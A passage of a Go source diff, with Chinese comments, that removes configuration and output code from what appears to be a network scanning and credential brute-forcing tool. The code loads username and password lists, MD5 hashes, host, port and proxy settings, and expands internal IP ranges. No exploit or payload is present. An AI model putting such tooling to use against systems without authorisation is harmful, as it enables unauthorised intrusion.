case "json":
|
||||
err = om.writeJson(result)
|
||||
case "csv":
|
||||
err = om.writeCsv(result)
|
||||
default:
|
||||
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_save_failed", err))
|
||||
} else {
|
||||
LogDebug(GetText("output_save_success", result.Type, result.Target))
|
||||
}
|
||||
return err
|
||||
}
|
||||
func (om *OutputManager) getResult() ([]*ScanResult, error) {
|
||||
om.mu.Lock()
|
||||
defer om.mu.Unlock()
|
||||
|
||||
if !om.isInitialized {
|
||||
LogDebug(GetText("output_not_init"))
|
||||
return nil, fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
file, err := os.Open(om.outputPath)
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_open_file_failed", err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
reader := csv.NewReader(file)
|
||||
records, err := reader.ReadAll()
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_read_csv_failed", err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results []*ScanResult
|
||||
for i, row := range records {
|
||||
// 跳过 CSV 头部
|
||||
if i == 0 {
|
||||
continue
|
||||
}
|
||||
if len(row) < 5 {
|
||||
continue // 数据不完整
|
||||
}
|
||||
|
||||
t, err := time.Parse("2006-01-02 15:04:05", row[0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var details map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
|
||||
details = make(map[string]interface{})
|
||||
}
|
||||
|
||||
result := &ScanResult{
|
||||
Time: t,
|
||||
Type: ResultType(row[1]),
|
||||
Target: row[2],
|
||||
Status: row[3],
|
||||
Details: details,
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_read_csv_success", len(results)))
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeTxt(result *ScanResult) error {
|
||||
// 格式化 Details 为键值对字符串
|
||||
var details string
|
||||
if len(result.Details) > 0 {
|
||||
pairs := make([]string, 0, len(result.Details))
|
||||
for k, v := range result.Details {
|
||||
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
|
||||
}
|
||||
details = strings.Join(pairs, ", ")
|
||||
}
|
||||
|
||||
txt := GetText("output_txt_format",
|
||||
result.Time.Format("2006-01-02 15:04:05"),
|
||||
result.Type,
|
||||
result.Target,
|
||||
result.Status,
|
||||
details,
|
||||
) + "\n"
|
||||
_, err := om.file.WriteString(txt)
|
||||
return err
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeJson(result *ScanResult) error {
|
||||
return om.jsonEncoder.Encode(result)
|
||||
}
|
||||
|
||||
func (om *OutputManager) writeCsv(result *ScanResult) error {
|
||||
details, err := json.Marshal(result.Details)
|
||||
if err != nil {
|
||||
details = []byte("{}")
|
||||
}
|
||||
|
||||
record := []string{
|
||||
result.Time.Format("2006-01-02 15:04:05"),
|
||||
string(result.Type),
|
||||
result.Target,
|
||||
result.Status,
|
||||
string(details),
|
||||
}
|
||||
|
||||
if err := om.csvWriter.Write(record); err != nil {
|
||||
return err
|
||||
}
|
||||
om.csvWriter.Flush()
|
||||
return om.csvWriter.Error()
|
||||
}
|
||||
|
||||
// CloseOutput 关闭输出系统
|
||||
func CloseOutput() error {
|
||||
if ResultOutput == nil {
|
||||
LogDebug(GetText("output_no_need_close"))
|
||||
return nil
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_closing"))
|
||||
ResultOutput.mu.Lock()
|
||||
defer ResultOutput.mu.Unlock()
|
||||
|
||||
if !ResultOutput.isInitialized {
|
||||
LogDebug(GetText("output_no_need_close"))
|
||||
return nil
|
||||
}
|
||||
|
||||
if ResultOutput.csvWriter != nil {
|
||||
LogDebug(GetText("output_flush_csv"))
|
||||
ResultOutput.csvWriter.Flush()
|
||||
}
|
||||
|
||||
if err := ResultOutput.file.Close(); err != nil {
|
||||
LogDebug(GetText("output_close_failed", err))
|
||||
return fmt.Errorf(GetText("output_close_failed", err))
|
||||
}
|
||||
|
||||
ResultOutput.isInitialized = false
|
||||
LogDebug(GetText("output_closed"))
|
||||
return nil
|
||||
}
|
||||
-550
@@ -1,550 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Parse 配置解析的总入口函数
|
||||
// 协调调用各解析子函数,完成完整的配置处理流程
|
||||
func Parse(Info *HostInfo) error {
|
||||
// 按照依赖顺序解析各类配置
|
||||
if err := ParseUser(); err != nil {
|
||||
return fmt.Errorf("用户名解析错误: %v", err)
|
||||
}
|
||||
|
||||
if err := ParsePass(Info); err != nil {
|
||||
return fmt.Errorf("密码与目标解析错误: %v", err)
|
||||
}
|
||||
|
||||
if err := ParseInput(Info); err != nil {
|
||||
return fmt.Errorf("输入参数解析错误: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParseUser 解析用户名配置
|
||||
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
|
||||
func ParseUser() error {
|
||||
// 如果未指定用户名和用户名文件,无需处理
|
||||
if Username == "" && UsersFile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 收集所有用户名
|
||||
var usernames []string
|
||||
|
||||
// 处理命令行参数指定的用户名列表
|
||||
if Username != "" {
|
||||
usernames = strings.Split(Username, ",")
|
||||
LogBase(GetText("no_username_specified", len(usernames)))
|
||||
}
|
||||
|
||||
// 从文件加载用户名列表
|
||||
if UsersFile != "" {
|
||||
fileUsers, err := ReadFileLines(UsersFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取用户名文件失败: %v", err)
|
||||
}
|
||||
|
||||
// 添加非空用户名
|
||||
for _, user := range fileUsers {
|
||||
if user != "" {
|
||||
usernames = append(usernames, user)
|
||||
}
|
||||
}
|
||||
LogBase(GetText("load_usernames_from_file", len(fileUsers)))
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
usernames = RemoveDuplicate(usernames)
|
||||
LogBase(GetText("total_usernames", len(usernames)))
|
||||
|
||||
// 更新所有字典的用户名列表
|
||||
for name := range Userdict {
|
||||
Userdict[name] = usernames
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParsePass 解析密码、URL、主机和端口等目标配置
|
||||
// 处理多种输入源的配置,并更新全局目标信息
|
||||
func ParsePass(Info *HostInfo) error {
|
||||
// 处理密码配置
|
||||
parsePasswords()
|
||||
|
||||
// 处理哈希值配置
|
||||
parseHashes()
|
||||
|
||||
// 处理URL配置
|
||||
parseURLs()
|
||||
|
||||
// 处理主机配置
|
||||
if err := parseHosts(Info); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理端口配置
|
||||
if err := parsePorts(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parsePasswords 解析密码配置
|
||||
// 处理直接指定的密码和从文件加载的密码
|
||||
func parsePasswords() {
|
||||
var pwdList []string
|
||||
|
||||
// 处理命令行参数指定的密码列表
|
||||
if Password != "" {
|
||||
passes := strings.Split(Password, ",")
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
LogBase(GetText("load_passwords", len(pwdList)))
|
||||
}
|
||||
|
||||
// 从文件加载密码列表
|
||||
if PasswordsFile != "" {
|
||||
passes, err := ReadFileLines(PasswordsFile)
|
||||
if err != nil {
|
||||
LogError(fmt.Sprintf("读取密码文件失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
LogBase(GetText("load_passwords_from_file", len(passes)))
|
||||
}
|
||||
}
|
||||
|
||||
// parseHashes 解析哈希值配置
|
||||
// 验证并处理哈希文件中的哈希值
|
||||
func parseHashes() {
|
||||
// 处理哈希文件
|
||||
if HashFile == "" {
|
||||
return
|
||||
}
|
||||
|
||||
hashes, err := ReadFileLines(HashFile)
|
||||
if err != nil {
|
||||
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
validCount := 0
|
||||
for _, line := range hashes {
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
// 验证哈希长度(MD5哈希为32位)
|
||||
if len(line) == 32 {
|
||||
HashValues = append(HashValues, line)
|
||||
validCount++
|
||||
} else {
|
||||
LogError(GetText("invalid_hash", line))
|
||||
}
|
||||
}
|
||||
LogBase(GetText("load_valid_hashes", validCount))
|
||||
}
|
||||
|
||||
// parseURLs 解析URL目标配置
|
||||
// 处理命令行和文件指定的URL列表,去重后更新全局URL列表
|
||||
func parseURLs() {
|
||||
urlMap := make(map[string]struct{})
|
||||
|
||||
// 处理命令行参数指定的URL列表
|
||||
if TargetURL != "" {
|
||||
urls := strings.Split(TargetURL, ",")
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
urlMap[url] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件加载URL列表
|
||||
if URLsFile != "" {
|
||||
urls, err := ReadFileLines(URLsFile)
|
||||
if err != nil {
|
||||
LogError(fmt.Sprintf("读取URL文件失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
urlMap[url] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 更新全局URL列表(已去重)
|
||||
URLs = make([]string, 0, len(urlMap))
|
||||
for u := range urlMap {
|
||||
URLs = append(URLs, u)
|
||||
}
|
||||
|
||||
if len(URLs) > 0 {
|
||||
LogBase(GetText("load_urls", len(URLs)))
|
||||
}
|
||||
}
|
||||
|
||||
// parseHosts 解析主机配置
|
||||
// 从文件加载主机列表并更新目标信息
|
||||
func parseHosts(Info *HostInfo) error {
|
||||
// 如果未指定主机文件,无需处理
|
||||
if HostsFile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
hosts, err := ReadFileLines(HostsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取主机文件失败: %v", err)
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
hostMap := make(map[string]struct{})
|
||||
for _, host := range hosts {
|
||||
if host != "" {
|
||||
hostMap[host] = struct{}{}
|
||||
}
|
||||
}
|
||||
|
||||
// 构建主机列表并更新Info.Host
|
||||
if len(hostMap) > 0 {
|
||||
var hostList []string
|
||||
for host := range hostMap {
|
||||
hostList = append(hostList, host)
|
||||
}
|
||||
|
||||
hostStr := strings.Join(hostList, ",")
|
||||
if Info.Host == "" {
|
||||
Info.Host = hostStr
|
||||
} else {
|
||||
Info.Host += "," + hostStr
|
||||
}
|
||||
|
||||
LogBase(GetText("load_hosts_from_file", len(hosts)))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parsePorts 解析端口配置
|
||||
// 从文件加载端口列表并更新全局端口配置
|
||||
func parsePorts() error {
|
||||
// 如果未指定端口文件,无需处理
|
||||
if PortsFile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
ports, err := ReadFileLines(PortsFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取端口文件失败: %v", err)
|
||||
}
|
||||
|
||||
// 构建端口列表字符串
|
||||
var portBuilder strings.Builder
|
||||
for _, port := range ports {
|
||||
if port != "" {
|
||||
portBuilder.WriteString(port)
|
||||
portBuilder.WriteString(",")
|
||||
}
|
||||
}
|
||||
|
||||
// 更新全局端口配置
|
||||
Ports = portBuilder.String()
|
||||
LogBase(GetText("load_ports_from_file"))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseExcludePorts 解析排除端口配置
|
||||
// 更新全局排除端口配置
|
||||
func parseExcludePorts() {
|
||||
if ExcludePorts != "" {
|
||||
LogBase(GetText("exclude_ports", ExcludePorts))
|
||||
// 确保排除端口被正确设置到全局配置中
|
||||
// 这将由PortScan函数在处理端口时使用
|
||||
}
|
||||
}
|
||||
|
||||
// ReadFileLines 读取文件内容并返回非空行的切片
|
||||
// 通用的文件读取函数,处理文件打开、读取和错误报告
|
||||
func ReadFileLines(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("open_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行读取文件内容,忽略空行
|
||||
lineCount := 0
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, text)
|
||||
lineCount++
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
LogError(GetText("read_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
LogBase(GetText("read_file_success", filename, lineCount))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// ParseInput 解析和验证输入参数配置
|
||||
// 处理多种配置的冲突检查、格式验证和参数处理
|
||||
func ParseInput(Info *HostInfo) error {
|
||||
// 检查扫描模式冲突
|
||||
if err := validateScanMode(Info); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理端口配置组合
|
||||
processPortsConfig()
|
||||
|
||||
// 处理排除端口配置
|
||||
parseExcludePorts()
|
||||
|
||||
// 处理额外用户名和密码
|
||||
processExtraCredentials()
|
||||
|
||||
// 处理代理配置
|
||||
if err := processProxySettings(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理哈希值
|
||||
if err := processHashValues(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateScanMode 验证扫描模式
|
||||
// 检查互斥的扫描模式配置,避免参数冲突
|
||||
func validateScanMode(Info *HostInfo) error {
|
||||
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
|
||||
modes := 0
|
||||
if Info.Host != "" || HostsFile != "" {
|
||||
modes++
|
||||
}
|
||||
if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
|
||||
modes++
|
||||
}
|
||||
if LocalMode {
|
||||
modes++
|
||||
}
|
||||
|
||||
// 处理扫描模式验证结果
|
||||
if modes == 0 {
|
||||
// 无参数时显示帮助
|
||||
flag.Usage()
|
||||
return fmt.Errorf(GetText("specify_scan_params"))
|
||||
} else if modes > 1 {
|
||||
return fmt.Errorf(GetText("params_conflict"))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// processPortsConfig 处理端口配置
|
||||
// 合并默认端口和附加端口配置
|
||||
func processPortsConfig() {
|
||||
// 如果使用主要端口,添加Web端口
|
||||
if Ports == MainPorts {
|
||||
Ports += "," + WebPorts
|
||||
}
|
||||
|
||||
// 处理附加端口
|
||||
if AddPorts != "" {
|
||||
if strings.HasSuffix(Ports, ",") {
|
||||
Ports += AddPorts
|
||||
} else {
|
||||
Ports += "," + AddPorts
|
||||
}
|
||||
LogBase(GetText("extra_ports", AddPorts))
|
||||
}
|
||||
|
||||
// 确保排除端口配置被记录
|
||||
if ExcludePorts != "" {
|
||||
LogBase(GetText("exclude_ports_applied", ExcludePorts))
|
||||
}
|
||||
}
|
||||
|
||||
// processExtraCredentials 处理额外的用户名和密码
|
||||
// 添加命令行指定的额外用户名和密码到现有配置
|
||||
func processExtraCredentials() {
|
||||
// 处理额外用户名
|
||||
if AddUsers != "" {
|
||||
users := strings.Split(AddUsers, ",")
|
||||
for dict := range Userdict {
|
||||
Userdict[dict] = append(Userdict[dict], users...)
|
||||
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
||||
}
|
||||
LogBase(GetText("extra_usernames", AddUsers))
|
||||
}
|
||||
|
||||
// 处理额外密码
|
||||
if AddPasswords != "" {
|
||||
passes := strings.Split(AddPasswords, ",")
|
||||
Passwords = append(Passwords, passes...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
LogBase(GetText("extra_passwords", AddPasswords))
|
||||
}
|
||||
}
|
||||
|
||||
// processProxySettings 处理代理设置
|
||||
// 解析并验证Socks5和HTTP代理配置
|
||||
func processProxySettings() error {
|
||||
// 处理Socks5代理
|
||||
if Socks5Proxy != "" {
|
||||
if err := setupSocks5Proxy(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// 处理HTTP代理
|
||||
if HttpProxy != "" {
|
||||
if err := setupHttpProxy(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// setupSocks5Proxy 设置Socks5代理
|
||||
// 格式化和验证Socks5代理URL
|
||||
func setupSocks5Proxy() error {
|
||||
// 规范化Socks5代理URL格式
|
||||
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(Socks5Proxy, ":") {
|
||||
// 仅指定端口时使用本地地址
|
||||
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
|
||||
} else {
|
||||
// 指定IP:PORT时添加协议前缀
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
}
|
||||
}
|
||||
|
||||
// 验证代理URL格式
|
||||
_, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf(GetText("socks5_proxy_error", err))
|
||||
}
|
||||
|
||||
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
|
||||
DisablePing = true
|
||||
LogBase(GetText("socks5_proxy", Socks5Proxy))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// setupHttpProxy 设置HTTP代理
|
||||
// 处理多种HTTP代理简写形式并验证URL格式
|
||||
func setupHttpProxy() error {
|
||||
// 处理HTTP代理简写形式
|
||||
switch HttpProxy {
|
||||
case "1":
|
||||
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
|
||||
HttpProxy = "http://127.0.0.1:8080"
|
||||
case "2":
|
||||
// 快捷方式2: 本地1080端口(常见SOCKS端口)
|
||||
HttpProxy = "socks5://127.0.0.1:1080"
|
||||
default:
|
||||
// 仅指定端口时使用本地HTTP代理
|
||||
if !strings.Contains(HttpProxy, "://") {
|
||||
HttpProxy = "http://127.0.0.1:" + HttpProxy
|
||||
}
|
||||
}
|
||||
|
||||
// 验证代理协议
|
||||
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
|
||||
return fmt.Errorf(GetText("unsupported_proxy"))
|
||||
}
|
||||
|
||||
// 验证代理URL格式
|
||||
_, err := url.Parse(HttpProxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf(GetText("proxy_format_error", err))
|
||||
}
|
||||
|
||||
LogBase(GetText("http_proxy", HttpProxy))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// processHashValues 处理哈希值
|
||||
// 验证单个哈希值并处理哈希列表
|
||||
func processHashValues() error {
|
||||
// 处理单个哈希值
|
||||
if HashValue != "" {
|
||||
// MD5哈希必须是32位十六进制字符
|
||||
if len(HashValue) != 32 {
|
||||
return fmt.Errorf(GetText("hash_length_error"))
|
||||
}
|
||||
HashValues = append(HashValues, HashValue)
|
||||
}
|
||||
|
||||
// 处理哈希值列表
|
||||
HashValues = RemoveDuplicate(HashValues)
|
||||
for _, hash := range HashValues {
|
||||
// 将十六进制字符串转换为字节数组
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
LogError(GetText("hash_decode_failed", hash))
|
||||
continue
|
||||
}
|
||||
HashBytes = append(HashBytes, hashByte)
|
||||
}
|
||||
|
||||
// 清空原始哈希值列表,仅保留字节形式
|
||||
HashValues = []string{}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveDuplicate 对字符串切片进行去重
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -1,549 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// IP解析相关错误
|
||||
var (
|
||||
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
|
||||
)
|
||||
|
||||
// ParseIP 解析各种格式的IP地址
|
||||
// 参数:
|
||||
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
|
||||
// - filename: 包含主机地址的文件名
|
||||
// - nohosts: 需要排除的主机地址列表
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 解析后的IP地址列表
|
||||
// - error: 解析过程中的错误
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
// 处理主机和端口组合的情况 (格式: IP:PORT)
|
||||
if filename == "" && strings.Contains(host, ":") {
|
||||
hostport := strings.Split(host, ":")
|
||||
if len(hostport) == 2 {
|
||||
host = hostport[0]
|
||||
hosts = parseIPList(host)
|
||||
Ports = hostport[1]
|
||||
LogBase(GetText("host_port_parsed", Ports))
|
||||
}
|
||||
} else {
|
||||
// 解析主机地址
|
||||
hosts = parseIPList(host)
|
||||
|
||||
// 从文件加载额外主机
|
||||
if filename != "" {
|
||||
fileHosts, err := readIPFile(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("read_host_file_failed", err))
|
||||
} else {
|
||||
hosts = append(hosts, fileHosts...)
|
||||
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理需要排除的主机
|
||||
hosts = excludeHosts(hosts, nohosts)
|
||||
|
||||
// 去重并排序
|
||||
hosts = removeDuplicateIPs(hosts)
|
||||
LogBase(GetText("final_valid_hosts", len(hosts)))
|
||||
|
||||
// 检查解析结果
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||
return nil, ErrParseIP
|
||||
}
|
||||
|
||||
return hosts, nil
|
||||
}
|
||||
|
||||
// parseIPList 解析逗号分隔的IP地址列表
|
||||
// 参数:
|
||||
// - ipList: 逗号分隔的IP地址列表字符串
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 解析后的IP地址列表
|
||||
func parseIPList(ipList string) []string {
|
||||
var result []string
|
||||
|
||||
// 处理逗号分隔的IP列表
|
||||
if strings.Contains(ipList, ",") {
|
||||
ips := strings.Split(ipList, ",")
|
||||
for _, ip := range ips {
|
||||
if parsed := parseSingleIP(ip); len(parsed) > 0 {
|
||||
result = append(result, parsed...)
|
||||
}
|
||||
}
|
||||
} else if ipList != "" {
|
||||
// 解析单个IP地址或范围
|
||||
result = parseSingleIP(ipList)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// parseSingleIP 解析单个IP地址或IP范围
|
||||
// 支持多种格式:
|
||||
// - 普通IP: 192.168.1.1
|
||||
// - 简写网段: 192, 172, 10
|
||||
// - CIDR: 192.168.0.0/24
|
||||
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
|
||||
// - 域名: example.com
|
||||
// 参数:
|
||||
// - ip: IP地址或范围字符串
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 解析后的IP地址列表
|
||||
func parseSingleIP(ip string) []string {
|
||||
// 检测是否包含字母(可能是域名)
|
||||
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
|
||||
|
||||
// 根据不同格式解析IP
|
||||
switch {
|
||||
case ip == "192":
|
||||
// 常用内网段简写
|
||||
return parseSingleIP("192.168.0.0/16")
|
||||
case ip == "172":
|
||||
// 常用内网段简写
|
||||
return parseSingleIP("172.16.0.0/12")
|
||||
case ip == "10":
|
||||
// 常用内网段简写
|
||||
return parseSingleIP("10.0.0.0/8")
|
||||
case strings.HasSuffix(ip, "/8"):
|
||||
// 处理/8网段(使用采样方式)
|
||||
return parseSubnet8(ip)
|
||||
case strings.Contains(ip, "/"):
|
||||
// 处理CIDR格式
|
||||
return parseCIDR(ip)
|
||||
case isAlpha:
|
||||
// 处理域名,直接返回
|
||||
return []string{ip}
|
||||
case strings.Contains(ip, "-"):
|
||||
// 处理IP范围
|
||||
return parseIPRange(ip)
|
||||
default:
|
||||
// 尝试解析为单个IP地址
|
||||
if testIP := net.ParseIP(ip); testIP != nil {
|
||||
return []string{ip}
|
||||
}
|
||||
LogError(GetText("invalid_ip_format", ip))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// parseCIDR 解析CIDR格式的IP地址段
|
||||
// 例如: 192.168.1.0/24
|
||||
// 参数:
|
||||
// - cidr: CIDR格式的IP地址段
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 展开后的IP地址列表
|
||||
func parseCIDR(cidr string) []string {
|
||||
// 解析CIDR格式
|
||||
_, ipNet, err := net.ParseCIDR(cidr)
|
||||
if err != nil {
|
||||
LogError(GetText("cidr_parse_failed", cidr, err))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 转换为IP范围
|
||||
ipRange := calculateIPRange(ipNet)
|
||||
hosts := parseIPRange(ipRange)
|
||||
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
|
||||
return hosts
|
||||
}
|
||||
|
||||
// calculateIPRange 计算CIDR的起始IP和结束IP
|
||||
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
|
||||
// 参数:
|
||||
// - cidr: 解析后的IPNet对象
|
||||
//
|
||||
// 返回:
|
||||
// - string: 格式为"起始IP-结束IP"的范围字符串
|
||||
func calculateIPRange(cidr *net.IPNet) string {
|
||||
// 获取网络起始IP
|
||||
start := cidr.IP.String()
|
||||
mask := cidr.Mask
|
||||
|
||||
// 计算广播地址(最后一个IP)
|
||||
bcst := make(net.IP, len(cidr.IP))
|
||||
copy(bcst, cidr.IP)
|
||||
|
||||
// 将网络掩码按位取反,然后与IP地址按位或,得到广播地址
|
||||
for i := 0; i < len(mask); i++ {
|
||||
ipIdx := len(bcst) - i - 1
|
||||
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||
}
|
||||
end := bcst.String()
|
||||
|
||||
result := fmt.Sprintf("%s-%s", start, end)
|
||||
LogBase(GetText("cidr_range", result))
|
||||
return result
|
||||
}
|
||||
|
||||
// parseIPRange 解析IP范围格式的地址
|
||||
// 支持两种格式:
|
||||
// - 完整格式: 192.168.1.1-192.168.1.100
|
||||
// - 简写格式: 192.168.1.1-100
|
||||
// 参数:
|
||||
// - ipRange: IP范围字符串
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 展开后的IP地址列表
|
||||
func parseIPRange(ipRange string) []string {
|
||||
parts := strings.Split(ipRange, "-")
|
||||
if len(parts) != 2 {
|
||||
LogError(GetText("ip_range_format_error", ipRange))
|
||||
return nil
|
||||
}
|
||||
|
||||
startIP := parts[0]
|
||||
endIP := parts[1]
|
||||
|
||||
// 验证起始IP
|
||||
if net.ParseIP(startIP) == nil {
|
||||
LogError(GetText("invalid_ip_format", startIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 处理简写格式 (如: 192.168.1.1-100)
|
||||
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
|
||||
return parseShortIPRange(startIP, endIP)
|
||||
} else {
|
||||
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
|
||||
return parseFullIPRange(startIP, endIP)
|
||||
}
|
||||
}
|
||||
|
||||
// parseShortIPRange 解析简写格式的IP范围
|
||||
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
|
||||
// 参数:
|
||||
// - startIP: 起始IP
|
||||
// - endSuffix: 结束IP的最后一部分
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 展开后的IP地址列表
|
||||
func parseShortIPRange(startIP, endSuffix string) []string {
|
||||
var allIP []string
|
||||
|
||||
// 将结束段转换为数字
|
||||
endNum, err := strconv.Atoi(endSuffix)
|
||||
if err != nil || endNum > 255 {
|
||||
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 分解起始IP
|
||||
ipParts := strings.Split(startIP, ".")
|
||||
if len(ipParts) != 4 {
|
||||
LogError(GetText("ip_format_error", startIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取前缀和起始IP的最后一部分
|
||||
prefixIP := strings.Join(ipParts[0:3], ".")
|
||||
startNum, err := strconv.Atoi(ipParts[3])
|
||||
if err != nil || startNum > endNum {
|
||||
LogError(GetText("invalid_ip_range", startNum, endNum))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 生成IP范围
|
||||
for i := startNum; i <= endNum; i++ {
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
|
||||
}
|
||||
|
||||
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
|
||||
return allIP
|
||||
}
|
||||
|
||||
// parseFullIPRange 解析完整格式的IP范围
|
||||
// 例如: 192.168.1.1-192.168.2.100
|
||||
// 参数:
|
||||
// - startIP: 起始IP
